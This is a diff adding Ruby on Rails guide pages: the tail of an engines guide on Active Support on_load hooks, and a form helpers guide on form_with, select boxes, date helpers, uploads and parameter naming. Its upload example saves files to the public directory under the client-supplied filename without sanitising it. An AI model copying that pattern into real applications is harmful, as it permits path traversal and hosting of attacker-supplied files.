"moo" +``` + +Both kinds of dependencies will be installed when `bundle install` is run inside +of the application. The development dependencies for the gem will only be used +when the tests for the engine are running. + +Note that if you want to immediately require dependencies when the engine is +required, you should require them before the engine's initialization. For +example: + +```ruby +require 'other_engine/engine' +require 'yet_another_engine/engine' + +module MyEngine + class Engine < ::Rails::Engine + end +end +``` + +Active Support On Load Hooks +---------------------------- + +Active Support is the Ruby on Rails component responsible for providing Ruby language extensions, utilities, and other transversal utilities. + +Rails code can often be referenced on load of an application. Rails is responsible for the load order of these frameworks, so when you load frameworks, such as `ActiveRecord::Base`, prematurely you are violating an implicit contract your application has with Rails. Moreover, by loading code such as `ActiveRecord::Base` on boot of your application you are loading entire frameworks which may slow down your boot time and could cause conflicts with load order and boot of your application. + +On Load hooks are the API that allow you to hook into this initialization process without violating the load contract with Rails. This will also mitigate boot performance degradation and avoid conflicts. + +## What are `on_load` hooks? + +Since Ruby is a dynamic language, some code will cause different Rails frameworks to load. Take this snippet for instance: + +```ruby +ActiveRecord::Base.include(MyActiveRecordHelper) +``` + +This snippet means that when this file is loaded, it will encounter `ActiveRecord::Base`. This encounter causes Ruby to look for the definition of that constant and will require it. This causes the entire Active Record framework to be loaded on boot. + +`ActiveSupport.on_load` is a mechanism that can be used to defer the loading of code until it is actually needed. The snippet above can be changed to: + +```ruby +ActiveSupport.on_load(:active_record) { include MyActiveRecordHelper } +``` + +This new snippet will only include `MyActiveRecordHelper` when `ActiveRecord::Base` is loaded. + +## How does it work? + +In the Rails framework these hooks are called when a specific library is loaded. For example, when `ActionController::Base` is loaded, the `:action_controller_base` hook is called. This means that all `ActiveSupport.on_load` calls with `:action_controller_base` hooks will be called in the context of `ActionController::Base` (that means `self` will be an `ActionController::Base`). + +## Modifying code to use `on_load` hooks + +Modifying code is generally straightforward. If you have a line of code that refers to a Rails framework such as `ActiveRecord::Base` you can wrap that code in an `on_load` hook. + +### Example 1 + +```ruby +ActiveRecord::Base.include(MyActiveRecordHelper) +``` + +becomes + +```ruby +ActiveSupport.on_load(:active_record) { include MyActiveRecordHelper } # self refers to ActiveRecord::Base here, so we can simply #include +``` + +### Example 2 + +```ruby +ActionController::Base.prepend(MyActionControllerHelper) +``` + +becomes + +```ruby +ActiveSupport.on_load(:action_controller_base) { prepend MyActionControllerHelper } # self refers to ActionController::Base here, so we can simply #prepend +``` + +### Example 3 + +```ruby +ActiveRecord::Base.include_root_in_json = true +``` + +becomes + +```ruby +ActiveSupport.on_load(:active_record) { self.include_root_in_json = true } # self refers to ActiveRecord::Base here +``` + +## Available Hooks + +These are the hooks you can use in your own code. + +To hook into the initialization process of one of the following classes use the available hook. + +| Class | Available Hooks | +| --------------------------------- | ------------------------------------ | +| `ActionCable` | `action_cable` | +| `ActionController::API` | `action_controller_api` | +| `ActionController::API` | `action_controller` | +| `ActionController::Base` | `action_controller_base` | +| `ActionController::Base` | `action_controller` | +| `ActionController::TestCase` | `action_controller_test_case` | +| `ActionDispatch::IntegrationTest` | `action_dispatch_integration_test` | +| `ActionDispatch::SystemTestCase` | `action_dispatch_system_test_case` | +| `ActionMailer::Base` | `action_mailer` | +| `ActionMailer::TestCase` | `action_mailer_test_case` | +| `ActionView::Base` | `action_view` | +| `ActionView::TestCase` | `action_view_test_case` | +| `ActiveJob::Base` | `active_job` | +| `ActiveJob::TestCase` | `active_job_test_case` | +| `ActiveRecord::Base` | `active_record` | +| `ActiveSupport::TestCase` | `active_support_test_case` | +| `i18n` | `i18n` | + +## Configuration hooks + +These are the available configuration hooks. They do not hook into any particular framework, but instead they run in context of the entire application. + +| Hook | Use Case | +| ---------------------- | ---------------------------------------------------------------------------------- | +| `before_configuration` | First configurable block to run. Called before any initializers are run. | +| `before_initialize` | Second configurable block to run. Called before frameworks initialize. | +| `before_eager_load` | Third configurable block to run. Does not run if `config.eager_load` set to false. | +| `after_initialize` | Last configurable block to run. Called after frameworks initialize. | + +### Example + +`config.before_configuration { puts 'I am called before any initializers' }` diff --git a/guides/source/form_helpers.md b/guides/source/form_helpers.md new file mode 100644 index 0000000000..b5e2c49487 --- /dev/null +++ b/guides/source/form_helpers.md @@ -0,0 +1,1015 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Action View Form Helpers +======================== + +Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of the need to handle form control naming and its numerous attributes. Rails does away with this complexity by providing view helpers for generating form markup. However, since these helpers have different use cases, developers need to know the differences between the helper methods before putting them to use. + +After reading this guide, you will know: + +* How to create search forms and similar kind of generic forms not representing any specific model in your application. +* How to make model-centric forms for creating and editing specific database records. +* How to generate select boxes from multiple types of data. +* What date and time helpers Rails provides. +* What makes a file upload form different. +* How to post forms to external resources and specify setting an `authenticity_token`. +* How to build complex forms. + +-------------------------------------------------------------------------------- + +NOTE: This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit [the Rails API documentation](http://api.rubyonrails.org/) for a complete reference. + +Dealing with Basic Forms +------------------------ + +The main form helper is `form_with`. + +```erb +<%= form_with do %> + Form contents +<% end %> +``` + +When called without arguments like this, it creates a form tag which, when submitted, will POST to the current page. For instance, assuming the current page is a home page, the generated HTML will look like this: + +```html +<form accept-charset="UTF-8" action="/" data-remote="true" method="post"> + <input name="authenticity_token" type="hidden" value="J7CBxfHalt49OSHp27hblqK20c9PgwJ108nDHX/8Cts=" /> + Form contents +</form> +``` + +You'll notice that the HTML contains an `input` element with type `hidden`. This `input` is important, because non-GET form cannot be successfully submitted without it. +The hidden input element with the name `authenticity_token` is a security feature of Rails called **cross-site request forgery protection**, and form helpers generate it for every non-GET form (provided that this security feature is enabled). You can read more about this in the [Securing Rails Applications](security.html#cross-site-request-forgery-csrf) guide. + +### A Generic Search Form + +One of the most basic forms you see on the web is a search form. This form contains: + +* a form element with "GET" method, +* a label for the input, +* a text input element, and +* a submit element. + +To create this form you will use `form_with`, `label_tag`, `text_field_tag`, and `submit_tag`, respectively. Like this: + +```erb +<%= form_with(url: "/search", method: "get") do %> + <%= label_tag(:q, "Search for:") %> + <%= text_field_tag(:q) %> + <%= submit_tag("Search") %> +<% end %> +``` + +This will generate the following HTML: + +```html +<form accept-charset="UTF-8" action="/search" data-remote="true" method="get"> + <label for="q">Search for:</label> + <input id="q" name="q" type="text" /> + <input name="commit" type="submit" value="Search" data-disable-with="Search" /> +</form> +``` + +TIP: Passing `url: my_specified_path` to `form_with` tells the form where to make the request. However, as explained below, you can also pass ActiveRecord objects to the form. + +TIP: For every form input, an ID attribute is generated from its name (`"q"` in above example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript. + +IMPORTANT: Use "GET" as the method for search forms. This allows users to bookmark a specific search and get back to it. More generally Rails encourages you to use the right HTTP verb for an action. + +### Helpers for Generating Form Elements + +Rails provides a series of helpers for generating form elements such as +checkboxes, text fields, and radio buttons. These basic helpers, with names +ending in `_tag` (such as `text_field_tag` and `check_box_tag`), generate just a +single `<input>` element. The first parameter to these is always the name of the +input. When the form is submitted, the name will be passed along with the form +data, and will make its way to the `params` in the controller with the +value entered by the user for that field. For example, if the form contains +`<%= text_field_tag(:query) %>`, then you would be able to get the value of this +field in the controller with `params[:query]`. + +When naming inputs, Rails uses certain conventions that make it possible to submit parameters with non-scalar values such as arrays or hashes, which will also be accessible in `params`. You can read more about them in chapter [Understanding Parameter Naming Conventions](#understanding-parameter-naming-conventions) of this guide. For details on the precise usage of these helpers, please refer to the [API documentation](http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html). + +#### Checkboxes + +Checkboxes are form controls that give the user a set of options they can enable or disable: + +```erb +<%= check_box_tag(:pet_dog) %> +<%= label_tag(:pet_dog, "I own a dog") %> +<%= check_box_tag(:pet_cat) %> +<%= label_tag(:pet_cat, "I own a cat") %> +``` + +This generates the following: + +```html +<input id="pet_dog" name="pet_dog" type="checkbox" value="1" /> +<label for="pet_dog">I own a dog</label> +<input id="pet_cat" name="pet_cat" type="checkbox" value="1" /> +<label for="pet_cat">I own a cat</label> +``` + +The first parameter to `check_box_tag`, of course, is the name of the input. The second parameter, naturally, is the value of the input. This value will be included in the form data (and be present in `params`) when the checkbox is checked. + +#### Radio Buttons + +Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (i.e., the user can only pick one): + +```erb +<%= radio_button_tag(:age, "child") %> +<%= label_tag(:age_child, "I am younger than 21") %> +<%= radio_button_tag(:age, "adult") %> +<%= label_tag(:age_adult, "I am over 21") %> +``` + +Output: + +```html +<input id="age_child" name="age" type="radio" value="child" /> +<label for="age_child">I am younger than 21</label> +<input id="age_adult" name="age" type="radio" value="adult" /> +<label for="age_adult">I am over 21</label> +``` + +As with `check_box_tag`, the second parameter to `radio_button_tag` is the value of the input. Because these two radio buttons share the same name (`age`), the user will only be able to select one of them, and `params[:age]` will contain either `"child"` or `"adult"`. + +NOTE: Always use labels for checkbox and radio buttons. They associate text with a specific option and, +by expanding the clickable region, +make it easier for users to click the inputs. + +### Other Helpers of Interest + +Other form controls worth mentioning are textareas, password fields, +hidden fields, search fields, telephone fields, date fields, time fields, +color fields, datetime-local fields, month fields, week fields, +URL fields, email fields, number fields, and range fields: + +```erb +<%= text_area_tag(:message, "Hi, nice site", size: "24x6") %> +<%= password_field_tag(:password) %> +<%= hidden_field_tag(:parent_id, "5") %> +<%= search_field(:user, :name) %> +<%= telephone_field(:user, :phone) %> +<%= date_field(:user, :born_on) %> +<%= datetime_local_field(:user, :graduation_day) %> +<%= month_field(:user, :birthday_month) %> +<%= week_field(:user, :birthday_week) %> +<%= url_field(:user, :homepage) %> +<%= email_field(:user, :address) %> +<%= color_field(:user, :favorite_color) %> +<%= time_field(:task, :started_at) %> +<%= number_field(:product, :price, in: 1.0..20.0, step: 0.5) %> +<%= range_field(:product, :discount, in: 1..100) %> +``` + +Output: + +```html +<textarea id="message" name="message" cols="24" rows="6">Hi, nice site</textarea> +<input id="password" name="password" type="password" /> +<input id="parent_id" name="parent_id" type="hidden" value="5" /> +<input id="user_name" name="user[name]" type="search" /> +<input id="user_phone" name="user[phone]" type="tel" /> +<input id="user_born_on" name="user[born_on]" type="date" /> +<input id="user_graduation_day" name="user[graduation_day]" type="datetime-local" /> +<input id="user_birthday_month" name="user[birthday_month]" type="month" /> +<input id="user_birthday_week" name="user[birthday_week]" type="week" /> +<input id="user_homepage" name="user[homepage]" type="url" /> +<input id="user_address" name="user[address]" type="email" /> +<input id="user_favorite_color" name="user[favorite_color]" type="color" value="#000000" /> +<input id="task_started_at" name="task[started_at]" type="time" /> +<input id="product_price" max="20.0" min="1.0" name="product[price]" step="0.5" type="number" /> +<input id="product_discount" max="100" min="1" name="product[discount]" type="range" /> +``` + +Hidden inputs are not shown to the user but instead hold data like any textual input. Values inside them can be changed with JavaScript. + +IMPORTANT: The search, telephone, date, time, color, datetime, datetime-local, +month, week, URL, email, number, and range inputs are HTML5 controls. +If you require your app to have a consistent experience in older browsers, +you will need an HTML5 polyfill (provided by CSS and/or JavaScript). +There is definitely [no shortage of solutions for this](https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills), although a popular tool at the moment is +[Modernizr](https://modernizr.com/), which provides a simple way to add functionality based on the presence of +detected HTML5 features. + +TIP: If you're using password input fields (for any purpose), you might want to configure your application to prevent those parameters from being logged. You can learn about this in the [Securing Rails Applications](security.html#logging) guide. + +Dealing with Model Objects +-------------------------- + +### Model Object Helpers + +A particularly common task for a form is editing or creating a model object. While the `*_tag` helpers can certainly be used for this task they are somewhat verbose as for each tag you would have to ensure the correct parameter name is used and set the default value of the input appropriately. Rails provides helpers tailored to this task. These helpers lack the `_tag` suffix, for example `text_field`, `text_area`. + +For these helpers the first argument is the name of an instance variable and the second is the name of a method (usually an attribute) to call on that object. Rails will set the value of the input control to the return value of that method for the object and set an appropriate input name. If your controller has defined `@person` and that person's name is Henry then a form containing: + +```erb +<%= text_field(:person, :name) %> +``` + +will produce output similar to + +```erb +<input id="person_name" name="person[name]" type="text" value="Henry" /> +``` + +Upon form submission the value entered by the user will be stored in `params[:person][:name]`. + +WARNING: You must pass the name of an instance variable, i.e. `:person` or `"person"`, not an actual instance of your model object. + +Rails provides helpers for displaying the validation errors associated with a model object. These are covered in detail by the [Active Record Validations](active_record_validations.html#displaying-validation-errors-in-views) guide. + +### Binding a Form to an Object + +While this is an increase in comfort it is far from perfect. If `Person` has many attributes to edit then we would be repeating the name of the edited object many times. What we want to do is somehow bind a form to a model object, which is exactly what `form_with` with `:model` does. + +Assume we have a controller for dealing with articles `app/controllers/articles_controller.rb`: + +```ruby +def new + @article = Article.new +end +``` + +The corresponding view `app/views/articles/new.html.erb` using `form_with` looks like this: + +```erb +<%= form_with model: @article, class: "nifty_form" do |f| %> + <%= f.text_field :title %> + <%= f.text_area :body, size: "60x12" %> + <%= f.submit "Create" %> +<% end %> +``` + +There are a few things to note here: + +* `@article` is the actual object being edited. +* There is a single hash of options. HTML options (except `id` and `class`) are passed in the `:html` hash. Also you can provide a `:namespace` option for your form to ensure uniqueness of id attributes on form elements. The scope attribute will be prefixed with underscore on the generated HTML id. +* The `form_with` method yields a **form builder** object (the `f` variable). +* If you wish to direct your form request to a particular url, you would use `form_with url: my_nifty_url_path` instead. To see more in depth options on what `form_with` accepts be sure to [check out the API documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_with). +* Methods to create form controls are called **on** the form builder object `f`. + +The resulting HTML is: + +```html +<form class="nifty_form" action="/articles" accept-charset="UTF-8" data-remote="true" method="post"> + <input type="hidden" name="authenticity_token" value="NRkFyRWxdYNfUg7vYxLOp2SLf93lvnl+QwDWorR42Dp6yZXPhHEb6arhDOIWcqGit8jfnrPwL781/xlrzj63TA==" /> + <input type="text" name="article[title]" id="article_title" /> + <textarea name="article[body]" id="article_body" cols="60" rows="12"></textarea> + <input type="submit" name="commit" value="Create" data-disable-with="Create" /> +</form> +``` + +The object passed as `:model` in `form_with` controls the key used in `params` to access the form's values. Here the name is `article` and so all the inputs have names of the form `article[attribute_name]`. Accordingly, in the `create` action `params[:article]` will be a hash with keys `:title` and `:body`. You can read more about the significance of input names in chapter [Understanding Parameter Naming Conventions](#understanding-parameter-naming-conventions) of this guide. + +TIP: Conventionally your inputs will mirror model attributes. However, they don't have to! If there is other information you need you can include it in your form just as with attributes and access it via `params[:article][:my_nifty_non_attribute_input]`. + +The helper methods called on the form builder are identical to the model object helpers except that it is not necessary to specify which object is being edited since this is already managed by the form builder. + +You can create a similar binding without actually creating `<form>` tags with the `fields_for` helper. This is useful for editing additional model objects with the same form. For example, if you had a `Person` model with an associated `ContactDetail` model, you could create a form for creating both like so: + +```erb +<%= form_with model: @person do |person_form| %> + <%= person_form.text_field :name %> + <%= fields_for :contact_detail, @person.contact_detail do |contact_detail_form| %> + <%= contact_detail_form.text_field :phone_number %> + <% end %> +<% end %> +``` + +which produces the following output: + +```html +<form action="/people" accept-charset="UTF-8" data-remote="true" method="post"> + <input type="hidden" name="authenticity_token" value="bL13x72pldyDD8bgtkjKQakJCpd4A8JdXGbfksxBDHdf1uC0kCMqe2tvVdUYfidJt0fj3ihC4NxiVHv8GVYxJA==" /> + <input type="text" name="person[name]" id="person_name" /> + <input type="text" name="contact_detail[phone_number]" id="contact_detail_phone_number" /> +</form> +``` + +The object yielded by `fields_for` is a form builder like the one yielded by `form_with`. + +### Relying on Record Identification + +The Article model is directly available to users of the application, so - following the best practices for developing with Rails - you should declare it **a resource**: + +```ruby +resources :articles +``` + +TIP: Declaring a resource has a number of side effects. See [Rails Routing from the Outside In](routing.html#resource-routing-the-rails-default) guide for more information on setting up and using resources. + +When dealing with RESTful resources, calls to `form_with` can get significantly easier if you rely on **record identification**. In short, you can just pass the model instance and have Rails figure out model name and the rest: + +```ruby +## Creating a new article +# long-style: +form_with(model: @article, url: articles_path) +short-style: +form_with(model: @article) + +## Editing an existing article +# long-style: +form_with(model: @article, url: article_path(@article), method: "patch") +# short-style: +form_with(model: @article) +``` + +Notice how the short-style `form_with` invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking `record.new_record?`. It also selects the correct path to submit to, and the name based on the class of the object. + +WARNING: When you're using STI (single-table inheritance) with your models, you can't rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify `:url`, and `:scope` (the model name) explicitly. + +#### Dealing with Namespaces + +If you have created namespaced routes, `form_with` has a nifty shorthand for that too. If your application has an admin namespace then + +```ruby +form_with model: [:admin, @article] +``` + +will create a form that submits to the `ArticlesController` inside the admin namespace (submitting to `admin_article_path(@article)` in the case of an update). If you have several levels of namespacing then the syntax is similar: + +```ruby +form_with model: [:admin, :management, @article] +``` + +For more information on Rails' routing system and the associated conventions, please see [Rails Routing from the Outside In](routing.html) guide. + +### How do forms with PATCH, PUT, or DELETE methods work? + +The Rails framework encourages RESTful design of your applications, which means you'll be making a lot of "PATCH", "PUT", and "DELETE" requests (besides "GET" and "POST"). However, most browsers _don't support_ methods other than "GET" and "POST" when it comes to submitting forms. + +Rails works around this issue by emulating other methods over POST with a hidden input named `"_method"`, which is set to reflect the desired method: + +```ruby +form_with(url: search_path, method: "patch") +``` + +Output: + +```html +<form accept-charset="UTF-8" action="/search" data-remote="true" method="post"> + <input name="_method" type="hidden" value="patch" /> + <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" /> + ... +</form> +``` + +When parsing POSTed data, Rails will take into account the special `_method` parameter and act as if the HTTP method was the one specified inside it ("PATCH" in this example). + +IMPORTANT: All forms using `form_with` implement `remote: true` by default. These forms will submit data using an XHR (Ajax) request. To disable this include `local: true`. To dive deeper see [Working with JavaScript in Rails](working_with_javascript_in_rails.html#remote-elements) guide. + +Making Select Boxes with Ease +----------------------------- + +Select boxes in HTML require a significant amount of markup (one `OPTION` element for each option to choose from), therefore it makes the most sense for them to be dynamically generated. + +Here is what the markup might look like: + +```html +<select name="city_id" id="city_id"> + <option value="1">Lisbon</option> + <option value="2">Madrid</option> + <option value="3">Berlin</option> +</select> +``` + +Here you have a list of cities whose names are presented to the user. Internally the application only wants to handle their IDs so they are used as the options' value attribute. Let's see how Rails can help out here. + +### The Select and Option Tags + +The most generic helper is `select_tag`, which - as the name implies - simply generates the `SELECT` tag that encapsulates an options string: + +```erb +<%= select_tag(:city_id, raw('<option value="1">Lisbon</option><option value="2">Madrid</option><option value="3">Berlin</option>')) %> +``` + +This is a start, but it doesn't dynamically create the option tags. You can generate option tags with the `options_for_select` helper: + +```html+erb +<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ['Berlin', 3]]) %> +``` + +Output: + +```html +<option value="1">Lisbon</option> +<option value="2">Madrid</option> +<option value="3">Berlin</option> +``` + +The first argument to `options_for_select` is a nested array where each element has two elements: option text (city name) and option value (city id). The option value is what will be submitted to your controller. Often this will be the id of a corresponding database object but this does not have to be the case. + +Knowing this, you can combine `select_tag` and `options_for_select` to achieve the desired, complete markup: + +```erb +<%= select_tag(:city_id, options_for_select(...)) %> +``` + +`options_for_select` allows you to pre-select an option by passing its value. + +```html+erb +<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ['Berlin', 3]], 2) %> +``` + +Output: + +```html +<option value="1">Lisbon</option> +<option value="2" selected="selected">Madrid</option> +<option value="3">Berlin</option> +``` + +Whenever Rails sees that the internal value of an option being generated matches this value, it will add the `selected` attribute to that option. + +You can add arbitrary attributes to the options using hashes: + +```html+erb +<%= options_for_select( + [ + ['Lisbon', 1, { 'data-size' => '2.8 million' }], + ['Madrid', 2, { 'data-size' => '3.2 million' }], + ['Berlin', 3, { 'data-size' => '3.4 million' }] + ], 2 +) %> +``` + +Output: + +```html +<option value="1" data-size="2.8 million">Lisbon</option> +<option value="2" selected="selected" data-size="3.2 million">Madrid</option> +<option value="3" data-size="3.4 million">Berlin</option> +``` + +### Select Boxes for Dealing with Model Objects + +In most cases form controls will be tied to a specific model and as you might expect Rails provides helpers tailored for that purpose. Consistent with other form helpers, when dealing with a model object drop the `_tag` suffix from `select_tag`: + +If your controller has defined `@person` and that person's city_id is 2: + +```ruby +@person = Person.new(city_id: 2) +``` + +```erb +<%= select(:person, :city_id, [['Lisbon', 1], ['Madrid', 2], ['Berlin', 3]]) %> +``` + +will produce output similar to + +```html +<select name="person[city_id]" id="person_city_id"> + <option value="1">Lisbon</option> + <option value="2" selected="selected">Madrid</option> + <option value="3">Berlin</option> +</select> +``` + +Notice that the third parameter, the options array, is the same kind of argument you pass to `options_for_select`. One advantage here is that you don't have to worry about pre-selecting the correct city if the user already has one - Rails will do this for you by reading from the `@person.city_id` attribute. + +As with other helpers, if you were to use the `select` helper on a form builder scoped to the `@person` object, the syntax would be: + +```erb +<%= form_with model: @person do |person_form| %> + <%= person_form.select(:city_id, [['Lisbon', 1], ['Madrid', 2], ['Berlin', 3]]) %> +<% end %> +``` + +You can also pass a block to `select` helper: + +```erb +<%= form_with model: @person do |person_form| %> + <%= person_form.select(:city_id) do %> + <% [['Lisbon', 1], ['Madrid', 2], ['Berlin', 3]].each do |c| %> + <%= content_tag(:option, c.first, value: c.last) %> + <% end %> + <% end %> +<% end %> +``` + +WARNING: If you are using `select` or similar helpers to set a `belongs_to` association you must pass the name of the foreign key (in the example above `city_id`), not the name of association itself. + +WARNING: When `:include_blank` or `:prompt` are not present, `:include_blank` is forced true if the select attribute `required` is true, display `size` is one, and `multiple` is not true. + +### Option Tags from a Collection of Arbitrary Objects + +Generating options tags with `options_for_select` requires that you create an array containing the text and value for each option. But what if you had a `City` model (perhaps an Active Record one) and you wanted to generate option tags from a collection of those objects? One solution would be to make a nested array by iterating over them: + +```erb +<% cities_array = City.all.map { |city| [city.name, city.id] } %> +<%= options_for_select(cities_array) %> +``` + +This is a perfectly valid solution, but Rails provides a less verbose alternative: `options_from_collection_for_select`. This helper expects a collection of arbitrary objects and two additional arguments: the names of the methods to read the option **value** and **text** from, respectively: + +```erb +<%= options_from_collection_for_select(City.all, :id, :name) %> +``` + +As the name implies, this only generates option tags. To generate a working select box you would need to use `collection_select`: + +```erb +<%= collection_select(:person, :city_id, City.all, :id, :name) %> +``` + +As with other helpers, if you were to use the `collection_select` helper on a form builder scoped to the `@person` object, the syntax would be: + +```erb +<%= form_with model: @person do |person_form| %> + <%= person_form.collection_select(:city_id, City.all, :id, :name) %> +<% end %> +``` + +NOTE: Pairs passed to `options_for_select` should have the text first and the value second, however with `options_from_collection_for_select` should have the value method first and the text method second. + +### Time Zone and Country Select + +To leverage time zone support in Rails, you have to ask your users what time zone they are in. Doing so would require generating select options from a list of pre-defined [`ActiveSupport::TimeZone`](http://api.rubyonrails.org/classes/ActiveSupport/TimeZone.html) objects using `collection_select`, but you can simply use the `time_zone_select` helper that already wraps this: + +```erb +<%= time_zone_select(:person, :time_zone) %> +``` + +There is also `time_zone_options_for_select` helper for a more manual (therefore more customizable) way of doing this. Read the [API documentation](http://api.rubyonrails.org/classes/ActionView/Helpers/FormOptionsHelper.html#method-i-time_zone_options_for_select) to learn about the possible arguments for these two methods. + +Rails _used_ to have a `country_select` helper for choosing countries, but this has been extracted to the [country_select plugin](https://github.com/stefanpenner/country_select). + +Using Date and Time Form Helpers +-------------------------------- + +You can choose not to use the form helpers generating HTML5 date and time input fields and use the alternative date and time helpers. These date and time helpers differ from all the other form helpers in two important respects: + +* Dates and times are not representable by a single input element. Instead, you have several, one for each component (year, month, day etc.) and so there is no single value in your `params` hash with your date or time. +* Other helpers use the `_tag` suffix to indicate whether a helper is a barebones helper or one that operates on model objects. With dates and times, `select_date`, `select_time` and `select_datetime` are the barebones helpers, `date_select`, `time_select` and `datetime_select` are the equivalent model object helpers. + +Both of these families of helpers will create a series of select boxes for the different components (year, month, day etc.). + +### Barebones Helpers + +The `select_*` family of helpers take as their first argument an instance of `Date`, `Time`, or `DateTime` that is used as the currently selected value. You may omit this parameter, in which case the current date is used. For example: + +```erb +<%= select_date Date.today, prefix: :start_date %> +``` + +outputs (with actual option values omitted for brevity) + +```html +<select id="start_date_year" name="start_date[year]"> +</select> +<select id="start_date_month" name="start_date[month]"> +</select> +<select id="start_date_day" name="start_date[day]"> +</select> +``` + +The above inputs would result in `params[:start_date]` being a hash with keys `:year`, `:month`, `:day`. To get an actual `Date`, `Time`, or `DateTime` object you would have to extract these values and pass them to the appropriate constructor, for example: + +```ruby +Date.civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, params[:start_date][:day].to_i) +``` + +The `:prefix` option is the key used to retrieve the hash of date components from the `params` hash. Here it was set to `start_date`, if omitted it will default to `date`. + +### Model Object Helpers + +`select_date` does not work well with forms that update or create Active Record objects as Active Record expects each element of the `params` hash to correspond to one attribute. +The model object helpers for dates and times submit parameters with special names; when Active Record sees parameters with such names it knows they must be combined with the other parameters and given to a constructor appropriate to the column type. For example: + +```erb +<%= date_select :person, :birth_date %> +``` + +outputs (with actual option values omitted for brevity) + +```html +<select id="person_birth_date_1i" name="person[birth_date(1i)]"> +</select> +<select id="person_birth_date_2i" name="person[birth_date(2i)]"> +</select> +<select id="person_birth_date_3i" name="person[birth_date(3i)]"> +</select> +``` + +which results in a `params` hash like + +```ruby +{'person' => {'birth_date(1i)' => '2008', 'birth_date(2i)' => '11', 'birth_date(3i)' => '22'}} +``` + +When this is passed to `Person.new` (or `update`), Active Record spots that these parameters should all be used to construct the `birth_date` attribute and uses the suffixed information to determine in which order it should pass these parameters to functions such as `Date.civil`. + +### Common Options + +Both families of helpers use the same core set of functions to generate the individual select tags and so both accept largely the same options. In particular, by default Rails will generate year options 5 years either side of the current year. If this is not an appropriate range, the `:start_year` and `:end_year` options override this. For an exhaustive list of the available options, refer to the [API documentation](http://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html). + +As a rule of thumb you should be using `date_select` when working with model objects and `select_date` in other cases, such as a search form which filters results by date. + +### Individual Components + +Occasionally you need to display just a single date component such as a year or a month. Rails provides a series of helpers for this, one for each component `select_year`, `select_month`, `select_day`, `select_hour`, `select_minute`, `select_second`. These helpers are fairly straightforward. By default they will generate an input field named after the time component (for example, "year" for `select_year`, "month" for `select_month` etc.) although this can be overridden with the `:field_name` option. The `:prefix` option works in the same way that it does for `select_date` and `select_time` and has the same default value. + +The first parameter specifies which value should be selected and can either be an instance of a `Date`, `Time`, or `DateTime`, in which case the relevant component will be extracted, or a numerical value. For example: + +```erb +<%= select_year(2009) %> +<%= select_year(Time.new(2009)) %> +``` + +will produce the same output and the value chosen by the user can be retrieved by `params[:date][:year]`. + +Uploading Files +--------------- + +A common task is uploading some sort of file, whether it's a picture of a person or a CSV file containing data to process. The most important thing to remember with file uploads is that the rendered form's enctype attribute **must** be set to "multipart/form-data". If you use `form_with` with `:model`, this is done automatically. If you use `form_with` without `:model`, you must set it yourself, as per the following example. + +The following two forms both upload a file. + +```erb +<%= form_with(url: {action: :upload}, multipart: true) do %> + <%= file_field_tag 'picture' %> +<% end %> + +<%= form_with model: @person do |f| %> + <%= f.file_field :picture %> +<% end %> +``` + +Rails provides the usual pair of helpers: the barebones `file_field_tag` and the model oriented `file_field`. As you would expect in the first case the uploaded file is in `params[:picture]` and in the second case in `params[:person][:picture]`. + +### What Gets Uploaded + +The object in the `params` hash is an instance of [`ActionDispatch::Http::UploadedFile`](http://api.rubyonrails.org/classes/ActionDispatch/Http/UploadedFile.html). The following snippet saves the uploaded file in `#{Rails.root}/public/uploads` under the same name as the original file. + +```ruby +def upload + uploaded_file = params[:picture] + File.open(Rails.root.join('public', 'uploads', uploaded_file.original_filename), 'wb') do |file| + file.write(uploaded_file.read) + end +end +``` + +Once a file has been uploaded, there are a multitude of potential tasks, ranging from where to store the files (on Disk, Amazon S3, etc), associating them with models, resizing image files, and generating thumbnails, etc. [Active Storage](active_storage_overview.html) is designed to assist with these tasks. + +Customizing Form Builders +------------------------- + +The object yielded by `form_with` and `fields_for` is an instance of [`ActionView::Helpers::FormBuilder`](http://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html). Form builders encapsulate the notion of displaying form elements for a single object. While you can write helpers for your forms in the usual way, you can also create subclass `ActionView::Helpers::FormBuilder` and add the helpers there. For example: + +```erb +<%= form_with model: @person do |f| %> + <%= text_field_with_label f, :first_name %> +<% end %> +``` + +can be replaced with + +```erb +<%= form_with model: @person, builder: LabellingFormBuilder do |f| %> + <%= f.text_field :first_name %> +<% end %> +``` + +by defining a `LabellingFormBuilder` class similar to the following: + +```ruby +class LabellingFormBuilder < ActionView::Helpers::FormBuilder + def text_field(attribute, options={}) + label(attribute) + super + end +end +``` + +If you reuse this frequently you could define a `labeled_form_with` helper that automatically applies the `builder: LabellingFormBuilder` option: + +```ruby +def labeled_form_with(model: nil, scope: nil, url: nil, format: nil, **options, &block) + options.merge! builder: LabellingFormBuilder + form_with model: model, scope: scope, url: url, format: format, **options, &block +end +``` + +The form builder used also determines what happens when you do + +```erb +<%= render partial: f %> +``` + +If `f` is an instance of `ActionView::Helpers::FormBuilder` then this will render the `form` partial, setting the partial's object to the form builder. If the form builder is of class `LabellingFormBuilder` then the `labelling_form` partial would be rendered instead. + +Understanding Parameter Naming Conventions +------------------------------------------ + +Values from forms can be at the top level of the `params` hash or nested in another hash. For example, in a standard `create` action for a Person model, `params[:person]` would usually be a hash of all the attributes for the person to create. The `params` hash can also contain arrays, arrays of hashes, and so on. + +Fundamentally HTML forms don't know about any sort of structured data, all they generate is name-value pairs, where pairs are just plain strings. The arrays and hashes you see in your application are the result of some parameter naming conventions that Rails uses. + +### Basic Structures + +The two basic structures are arrays and hashes. Hashes mirror the syntax used for accessing the value in `params`. For example, if a form contains: + +```html +<input id="person_name" name="person[name]" type="text" value="Henry"/> +``` + 